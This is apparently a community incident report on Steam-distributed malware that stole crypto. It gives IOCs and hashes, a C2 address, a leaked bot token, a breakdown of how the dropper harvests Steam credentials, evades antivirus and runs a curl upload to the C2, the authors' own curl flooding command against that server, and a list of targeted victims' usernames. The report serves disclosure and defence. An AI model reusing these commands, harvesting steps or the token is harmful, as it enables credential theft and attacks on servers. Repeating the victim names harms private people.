

Theft of \$32k in crypto from a stage 4 cancer patient due to valve's incompetence in allowing malware on their platform

Notice for law enforcement

We have mountains of technical evidence surrounding individuals in this case. We are absolutely willing to upload each piece of evidence should they be needed. Please feel free to contact me on signal: x19.89 and I will happily oblige.

Introduction

An heinous act of cowardice where threat actors targeted a stage 4 terminally ill cancer patient for his creator earnings on pump.fun through a steam game. After a significant investigation involving roughly 10+ people, we were able to communicate with the threat actors who showed fake remorse for their actions. In this report we will detail the colossal failures of Valve's game vetting, how we broke into their C2 and retrieved a list of victims.

Credits

x.com/John5725424446 - 1989

https://x.com/andreee_eeeeee

https://x.com/escrow_

<https://x.com/vxunderground>

<https://x.com/zachxbt/>

<https://x.com/C4L38>

<https://x.com/defidownsin/>

<https://x.com/asdfxzqwertz>

Everyone here has kindly contributed their time and skills to locating and shutting down these absolute wastes of oxygen.

Victim list (All 405)

This is a list of victims that were in the stealers logs, if you are on here you have been compromised unfortunately. Please wipe your PC and change your passwords ASAP.

<https://pastebin.com/g3JSYHQi>

Game ID and depot information

<https://steamdb.info/depot/3872351> we can see from this information that the game existed with multiple executables inside of it in 4 separate archives v1 - v4.zip. (The password is 121)

The game launched a bash script with the following code: <https://pastebin.com/raw/e7zt8gv8>

Valves colossal mistake

Valve allowed this malware to exist for just under a month. This is appalling levels of vetting, how can you let such brazen malware exist on your platform. Review the later sections for proof of when the malware was inserted.

Conversation



david / bb

02:50

i will sure

i didn't want to do that one tbh

02:50

but once i was done pen testing and sent it off it was already done

02:50

and i figured he would make it back in a day

02:50

D	david / bb	02:53
	bro	
	it's fucking huge	02:53
	life is fucked up	02:53
	ik	02:53
	dawg i will send it back	02:53
	but he literally will make it back in a few hours	02:54
	i checked how much he already made back	02:54
S	swaps	02:54
	he already made it back tbh	

For context, these two individuals (mainly david) who were involved in the theft seemed to have little remorse, even wasting our time by saying they'd send it back. The "it's fucking huge was in reference to rasta's tumor). To which they didn't and proceeded to nuke everything. They will face their punishment in due course.

Malware Payloads + IOC + Droppers

4b274920f470fa228d227735d2df5e020bc6346ff3da5d9b33c376f6ff36abb0
./launch.vbs

c3404f768f436924e954e48d35c27a9d44c02b7a346096929a1b26a1693b20b3
./launch1.vbs

f6ca0e82b89f0a601cf6afe5c4fc94fbbd76f0a7d8fa2383e97ab30cd14e838b
./v4.zip

4f46c33bc914ac4bd57713b9928895b288f9a91d1d975ef1051ce214a9944453
./v2.zip

77ee8547eb704a98529d648753dfbf1fef7d2729fa558787dc5bb89c64f72684
Block1.exe

17c3d4c216b2cde74b143bfc2f0c73279f2a007f627e3a764036baf272b4971a
Client-built2.exe

cd0a004d28321feeee0cace285ee38f19fbc16579e80680d13deb3a93ca7a108
msimg32.dll

<http://203.188.171.156:30815> C2 (now down,
<https://x.com/John5725424446/status/1969810482350768520>)

https://ipinfo.io/203.188.171.156?lookup_source=search-bar

 IPInfo

203.188.171.156

🔍

Products

Data

Why IPInfo?

Pricing

Resources

Docs

Login

Sign up

All IP Ranges

>

203.0.0.0/8

>

203.188.0.0/16

>

203.188.171.0/24

>

203.188.171.156

203.188.171.156

New York City, New York, US

🌐 hosting

🖥️ webserver

Summary

Geolocation

Privacy

ASN

Company

Abuse

Need more data or want to access it via API or data downloads? Sign up to get free access

Sign up for free

Summary

ASN	AS19318 - Interserver, Inc
Hostname	No Hostname
Range	203.188.171.0/24
Company	1337 Services GmbH
Hosted domains	0
Privacy	✔ True
Anycast	✖ False
ASN type	Hosting
Abuse contact	abuse@as210558.net

Directory listing for /

- [bot.py](#)
 - [button_presses/](#)
 - [h.py](#)
 - [logs/](#)
 - [settings.txt](#)
 - [test.bat](#)
 - [whitelisted_users.txt](#)
-

(Check krebs report on that C2 host and ASN it's hilarious)

Telegram bot Code

<https://pastebin.com/WNkLp4sR>

Left their bot tokens in the open, thanks guys!

```

# ===== CONFIG =====
WHITELIST_FILE = "whitelisted_users.txt"
BUTTON_FILES_DIR = "button_presses"

# Absolute logs path to avoid path confusion
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
SETTINGS_FILE = os.path.join(BASE_DIR, "settings.txt") # â†‡ add this
LOGS_DIR = os.path.join(BASE_DIR, "logs")

TOKEN = "7535745831:AAG4NU3TI-11mnkQa5uZTt0AjNRrX7osCxc" # â†‡ put your bot token
here
CHAT_ID = -4966525614 # â†‡ target user/group/channel ID
# =====

logging.basicConfig(

```

```

UserDefaultLangID = GetUserDefaultLangID();
if ( UserDefaultLangID == 1049 // Russian
    || UserDefaultLangID == 1058 // Ukrainian
    || UserDefaultLangID == 1059 // Belarusian
    || UserDefaultLangID == 1087 // Kazakh
    || UserDefaultLangID == 1091 // Uzbek
)
{
    ExitProcess_0(0);
}

```

(Block1.exe - part of the initialization routine, definitely some stealer as a service, none of the threat actors were russian)

Upload server code

<https://pastebin.com/Z7nVbnGe>

Note the Chat GPT sponsored infrastructure and multiple vulnerabilities that took the C2 down.

Arbitrary file upload

```

filename = disposition.split("filename=")[1].strip().strip('"')
filename = os.path.basename(filename)

```

Their C2 infrastructure had a complete lack of authorisation + authentication

Complete lack of content size check

with `open(filepath, "wb")` as `f`:
`preline = self.rfile.readline()`

(We obviously took advantage of this with `dd if=/dev/zero bs=1M count=1000 | curl -X POST --form "file=@-;filename=largefile4.bin" http://203.188.171.156:30815/upload` teehee) which resulted in the C2 going down and eventually removed.

Unfortunately we couldn't shell the server, I theorised inserting something into startup to start a reverse shell when the server rebooted, but ultimately it wasn't worth it due to their terrible opsec mistakes anyways.

Dropper GPT rundown

Header / setup

- `@echo off` / `setlocal enabledelayedexpansion` — standard batch setup.
- Sets `COMPUTER_NAME` using `whoami` (note: `whoami` returns `DOMAIN\user` — used as identifier).
- Generates random numeric strings with `%RANDOM%` concatenation for file naming.

Privilege detection

- Runs `openfiles >nul 2>&1` and checks `%errorlevel%` to detect admin context.
 - If admin: launches `launch1.vbs`, writes a status file `%TEMP%\game112.txt` and `curl -F` posts it to C2. Then `TIMEOUT 6` and `exit`.
 - If not admin: continues to the main logic.

Reconnaissance / environment info

- Removes prior temp report files.
- Uses `curl -s ipinfo.io/city`, `region`, `country` and `curl -s ip.me` to obtain public IP and geo-location; stores in variables `CITY`, `REGION`, `COUNTRY`, `MYIP`.
- Sets `LOCATION = CITY, REGION, COUNTRY`.

Strange / decoy VBScript and game paths

- Starts a deeply nested VBS path in `Win64\VS2015\Party2\Party\Third\MegaAction\...test.vbs` then `TIMEOUT 2`. (Likely to mimic legitimate game files or to drop/extract assets.)
- Generates another random `randNum` for naming.

AV/EDR detection

- Defines `AV_PROCESSES` — a massive white-space and caret (^) separated list of known AV/EDR process names (e.g., `msspeng.exe`, `crowdstrike.exe`, `symantec.exe`, etc.).

- Dumps `tasklist` to `%temp%\running\_tasks.txt` then loops through `AV\_PROCESSES` checking for presence with `findstr`.
- If found, appends detection to `%TEMP\_FILE%` and increments `FOUND`.
- If `FOUND == 0` writes "No known antivirus processes found."

> Purpose: environment-aware behavior (skips or changes payload execution if certain protections detected).

Steam harvesting

- Sets `VDF\_FILE` = `%ProgramFiles(x86)%\Steam\config\loginusers.vdf`.
- If not present, queries registry `HKCU\Software\Valve\Steam\SteamPath` and builds the path.
- If still not found, writes `[ERROR] File not found` to output and continues to telemetry (`:tele`).
- Parses `loginusers.vdf` line-by-line looking for "AccountName", "PersonaName", and "RememberPassword", and writes entries to `%TEMP%\us\_report.txt` with `SteamID`, `AccountName`, `PersonaName`, and remember-flag.
- Uses previous-line buffering (`prev1`, `prev2`) to extract SteamID (likely on a different line in VDF).
- Sanitizes the output to remove key names before upload.

C2 interactions and logic

- Downloads `whitelisted\_users.txt` and `settings.txt` from C2 host and checks for matches against `us\_report.txt`.
- If player found: sets `playerfound=1` and writes to `match\_line.txt`.
- If settings contain "1": sets `auto=1`.
- Combines `%TEMP\_FILE%` + `%OUTPUT\_FILE%` + match/external lists into `%TEMP%\combined\_msg.txt`.
- Uploads combined message via `curl -F "file=@%TEMP%\combined\_msg.txt;filename=%randNum%.txt" http://203.188.171.156:30815/upload`.
- Polling loop: loops up to 17 times, hits the C2 root and a `\_presses/%randNum%.txt` endpoint expecting responses `yes` (proceed) or `noaaa` (stop).

Post-conditions / execution of payloads

- If `playerfound==1` or `auto==1` or C2 answered "yes":
- Re-checks running tasks.
- Special case handling: if **only** `msmpeng.exe` (Windows Defender) is present and no other AV processes (`MSMPENG\_FOUND` == 1 and `TOTAL\_FOUND` == 0) it extracts `v1.zip` to `DEST\_DIR` using 7-Zip with password "121" and runs `launch1.vbs`.
- Otherwise extracts `v2.zip` to `DEST\_DIR1` and runs `Block1.exe` (if present).
- Also attempts to launch `MegaActionPlatformer.exe` if present (likely masquerading as legitimate game executable).

Cleanup

- Deletes many temp files: `us\_report.txt`, `match\_line.txt`, `av\_report.txt`.

- Exits.

Key IOCs (explicit strings found in script)

- ****C2 IP / Ports:****
 - `203.188.171.156:30815`
- ****C2 URLs / endpoints:****
 - `http://203.188.171.156:30815/upload`
 - `http://203.188.171.156:30815/whitelisted\_users.txt`
 - `http://203.188.171.156:30815/settings.txt`
 - `http://203.188.171.156:30815/` (root polled)
- ****Files / artifacts:****
 - `launch1.vbs`
 - `v1.zip` (extracted with password `"121"")
 - `v2.zip`
 - `Block1.exe`
 - `MegaActionPlatformer.exe`
 - Steam data: `C:\Program Files (x86)\Steam\config\loginusers.vdf`
 - `%TEMP%\game112.txt`, `%TEMP%\us\_report.txt`, `%TEMP%\combined\_msg.txt`,
`%TEMP%\match\_line.txt`, `%TEMP%\av\_report.txt`
- ****Hardcoded password:**** `"121"

Game snapshot at time of infection

<https://drive.proton.me/urls/P0HXEBKMTc#gYxIRmeEEy1D>

Proof of existence in the depot

Depot ID	3872351
Build ID	19799326
Last public update	30 August 2025 – 21:34:28 UTC (22 days ago)
Size on disk	1.60 GiB
Compressed size	554.48 MiB (66.08% saving)



Files832

Apps1

Packages1

Manifests8

History

Files

Displaying manifest 973025817327683970 dated 30 August 2025 – 21:28:08 UTC (22 days ago)

100 entries per page. Hold Shift to sort by multiple columns.

bat

Name ↕	Type ↕	Size ↕
Engine/Binaries/ThirdParty/Ogg/game2.bat	bat	9.81 KiB
Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/Party2/Party/Third/MegaAction/Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/12321/Solution/A/New/test.bat	bat	4.32 KiB
Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/Party2/Party/Third/MegaAction/Engine/Extras/GPUDumpViewer/OpenGPUDumpViewer.bat	bat	879 B
Engine/Extras/GPUDumpViewer/OpenGPUDumpViewer.bat	bat	879 B

Showing 1 to 4 of 4 entries (filtered from 832 total entries)

< 1 >

File types

bat

File type ↕	Files ↕	Total size ↕
bat	4	15.85 KiB
Total	709	1.60 GiB

Removal of binaries by threat actors

- Files 1
- Apps 1
- Packages 1
- Manifests 9
- History

History

Manifest 8115448688786989967	44 minutes ago · 21 September 2025 – 20:00:31 UTC
Added hi.txt (2 B)	
Removed MegaActionPlatformer/Saved/Logs	
Removed MegaActionPlatformer/Saved/Config/Windows/VariantManagerContent.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/TraceUtilities.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/ToolPresets.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Synthesis.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/StruetUtils.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Scalability.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/RuntimeOptions.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Paper2D.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Paper2D.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Niagara.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Metasound.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Interchange.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/InstallBundle.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Input.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/IKRig.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Hardware.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/GameUserSettings.ini (1.06 KiB)	
Removed MegaActionPlatformer/Saved/Config/Windows/Game.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/GLTFExporter.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/FullBodyIK.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Fab.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/EnhancedInput.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Engine.ini (2.59 KiB)	
Removed MegaActionPlatformer/Saved/Config/Windows/EditorScriptingUtilities.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/DeviceProfiles.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/DataSmithContent.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/ControlRig.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Compat.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows/Bridge.ini (2 B)	
Removed MegaActionPlatformer/Saved/Config/Windows	
Manifest 973025817327683970	22 days ago · 30 August 2025 – 21:34:18 UTC

Malware injection date

Manifest 973025817327683970	22 days ago · 30 August 2025 – 21:34:18 UTC
Modified Engine/Binaries/ThirdParty/Ogg/game2.bat (+10 B) Modified Engine/Binaries/ThirdParty/Ogg/v1.zip Modified Engine/Binaries/ThirdParty/Ogg/v3.zip (+5 B) Manifest ID changed – 2743204767822927231 > <u>973025817327683970</u>	
Manifest 2743204767822927231	26 days ago · 26 August 2025 – 10:12:12 UTC
Added Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/Party2/Party/Third/MegaAction/Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/12321/Solution/A/News Added Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/Party2/Party/Third/MegaAction/Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/12321/Solution/A/Newssss Added Engine/Binaries/ThirdParty/Ogg/aaa Added Engine/Binaries/ThirdParty/Ogg/bbb Modified Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/Party2/Party/Third/MegaAction/Engine/Binaries/ThirdParty/Ogg/Win64/VS2015/12321/Solution/A/New/test.bat (-15 B) Modified Engine/Binaries/ThirdParty/Ogg/game2.bat Manifest ID changed – 911325055224309749 > <u>2743204767822927231</u>	

<https://steamdb.info/depot/3872351/history/>

Key user target list

These individuals here would execute a special payload to steal their crypto, most of them exist on crypto twitter etc.

637849394747483838373
borraman21
excelsorph
Rawker999
Toga
amonra55
76561199443506911
tholany110
|Evil| Medeal
Evil_Medeal
littlemikec
Laoshi_ferdy
laoshiferdy.ron
capstiller
jonshanks1234
finderfound_

loch388
RoboDick87
gamypyo
panda10j
eazyholar2607
ngaodul212
keyfmtv
raymondwtrapani
waggas
TheFoodMasterNFT
separate_li
rspanji
cryptooling
fedemaus
atRaichu
elimastro
mahil41
thecaptaingates
dman
fakehackerx
Ya3rub88
incoreid
Teco47
InkedSkin420
Dave Thebowler
DaveThebowler
Dave
tutankoin
shtallo
frycorpse
stupid_sash
davethebowler
thejasich
Sargos
Wankidd
Vlad20502
Glassb0t
Glass
Kealthas
victorydrop
wahid041